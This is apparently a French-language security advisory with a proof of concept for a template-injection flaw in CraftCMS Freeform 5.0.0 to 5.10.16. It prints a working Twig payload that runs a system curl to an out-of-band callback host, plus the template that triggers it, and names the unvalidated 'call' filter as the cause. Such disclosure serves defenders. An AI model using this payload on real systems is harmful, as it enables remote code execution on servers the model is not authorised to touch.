
Injection de code arbitraire dans CraftCMS Freeform 5.0.0 < 5.10.16
CraftCMS Freeform contient une vulnérabilité SSTI, entraînant une injection de code arbitraire pour tous les utilisateurs ayant accès à l'édition d'un formulaire (titre de soumission).
Les versions vulnérables sont v5.0.0 < v5.10.16.
Créer un formulaire :

J'ai créé le formulaire « pentest » ici comme preuve de concept. Ensuite, dans les paramètres, définissez le titre de soumission suivant (remplacez le nom de domaine par votre propre serveur) :
{{ 'system' | call('curl http://gwgyynafr4feu5xecukf1h2nqew5kw8l.oastify.com/rce') }}

Cela exécutera un appel système arbitraire. Dans ce cas, j'effectue un curl vers un serveur contrôlé qui me notifiera en cas de connexions entrantes. Ensuite, incluez ce formulaire dans un modèle/page et soumettez-le :
<h1>test</h1>
{% set form = freeform.form('pentest') %}
{% if form %}
{{ form.render() }}
{% else %}
<p>Form not found.</p>
{% endif %}
Cela aura déclenché la commande curl. Nous pouvons le vérifier en regardant la requête HTTP entrante qui a été créée :

La cause première de ce problème est que Freeform implémente le filtre Twig « call » sans valider les données utilisateur. Cela a été corrigé dans le commit suivant.